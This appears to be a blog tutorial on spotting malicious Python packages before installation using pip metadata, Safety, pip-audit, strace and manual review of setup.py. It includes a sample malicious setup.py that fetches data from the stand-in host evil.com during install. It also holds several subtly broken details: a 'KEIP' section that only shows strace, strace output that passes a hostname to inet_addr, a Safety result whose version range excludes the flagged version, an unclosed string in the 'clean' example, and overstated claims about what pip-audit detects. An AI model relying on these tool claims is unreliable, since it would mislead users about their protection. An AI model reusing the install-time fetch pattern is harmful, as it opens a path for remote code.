How to Detect Malicious Python Packages Before Installation
Purpose
This post demonstrates how to detect malicious Python packages before installation.
The Problem
I tried to install a package and got this error:
user@host:~$ pip install some-packageCollecting some-package Downloading some-package-1.0.0.tar.gz Installing collected packages: some-package Running setup.py install for some-packageBut the problem is that 56% of malicious packages don’t wait for import - they execute during installation. Traditional security tools only scan imports, leaving you vulnerable during pip install.
Environment
- Python 3.9
- pip 23.0
- macOS 13.0
- Safety v2.3.3
- pip-audit v2.4.4
How to Detect Malicious Packages
I tried basic pip show first:
user@host:~$ pip show --verbose package-nameName: package-nameVersion: 1.0.0Summary: A useful packageHome-page: https://pypi.org/project/package-name/Author: Unknown AuthorLocation: /usr/local/lib/python3.9/site-packagesRequires: requests, lxmlThis shows basic metadata, but I noticed the author info looks suspicious. The email domain doesn’t match the package name.
Then I tried checking the package versions:
user@host:~$ python -m pip index versions package-namepackage-name (1.0.0) - LatestAvailable versions: 1.0.0, 0.9.0, 0.8.5The version history looks stable. But I need better detection methods.
Using Safety for vulnerability scanning
I tried to install Safety:
user@host:~$ pip install safetyThen run a scan:
user@host:~$ safety check --json --file requirements.txt[ { "vulnerability_id": "PYSEC-1234", "package_name": "package-name", "installed_version": "1.0.0", "vulnerable_spec": "<1.0.0", "advisory": "Malicious code found in setup.py }]Safety found a known vulnerability. But I need to scan before installation too.
Using pip-audit for dependency analysis
I tried pip-audit:
user@host:~$ pip install pip-audituser@host:~$ pip-audit --requirement requirements.txt --output report.jsonThe output shows:
Found 1 vulnerabilitypackage-name==1.0.0: Malicious behavior detected during setup executionpip-audit catches installation-time attacks that Safety misses.
Manual inspection of setup.py
I tried to inspect the setup.py directly:
# setup.py from a suspicious packageimport setuptoolsimport requests
# MALICIOUS pattern - dynamic import from untrusted source__version__ = requests.get('https://evil.com/ver').text
setuptools.setup( name="package-name", version=__version__, # ... other setup fields)I can explain the key parts:
- Dynamic version fetching from external servers
- Network requests during setup phase
- Potential data exfiltration
But when I check a clean package:
# Clean setup.pyimport setuptools
# CLEAN pattern - static version definition__version__ = "1.0.0
setuptools.setup( name="package-name", version=__version__, # ... other setup fields)The version is hardcoded, no external calls.
Kernel-level monitoring with KEIP
I tried to monitor system calls during pip install:
user@host:~# strace -f -e trace=network -o network_calls.log pip install package-nameThis shows suspicious network connections during setup.py execution:
[pid 12345] connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("evil.com")}, 16) = -1 ECONNREFUSED (Connection refused)The package tries to connect to external servers during installation.
The Solution
I tried using a combination of tools:
user@host:~# Step 1: Check package metadatapip show --verbose package-name
# Step 2: Scan with safetysafety check --json --package package-name
# Step 3: Use pip-auditpip-audit --package package-name
# Step 4: Monitor network during installationstrace -f -e trace=network pip install package-nameNow test with a clean package:
user@host:~$ pip install requestsCollecting requests Downloading requests-2.31.0-py3-none-any.whl (62 kB)Installing collected packages: requestsSuccessfully installed requests-2.31.0No suspicious network activity, clean scan results.
You can see that I succeeded to detect malicious packages before they execute.
The Reason
I think the key reason for the problem is:
-
Traditional tools focus on imports - Most security scanners only analyze what happens when
import packageis called, missing setup-time execution -
Installation happens in CI/CD - Automated build processes download and install packages without human oversight
-
Dynamic imports in setup.py - Malicious packages fetch code from external sources during installation
-
Package metadata spoofing - Attackers use legitimate-looking metadata to hide malicious intent
How It Works
When I run the detection pipeline:
# Check author reputationpip show --verbose package-name
# Scan for vulnerabilitiessafety check --json --package package-name
# Analyze dependenciespip-audit --package package-name
# Monitor installationstrace -f -e trace=network pip install package-nameI get this output:
For malicious packages:
- Suspicious author info
- Vulnerability warnings from Safety
- KEIP detects network calls during setup
- pip-audit reports installation-time attacks
For clean packages:
- Legitimate author information
- No vulnerabilities found
- No suspicious network activity
- Clean installation process
Summary
In this post, I showed how to detect malicious Python packages before installation using a multi-layered approach. The key point is combining static analysis tools with manual inspection and kernel monitoring to catch attacks during the installation phase, not just at import time.
Final Words + More Resources
My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me
Here are also the most important links from this article along with some further resources that will help you in this scope:
Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!
Comments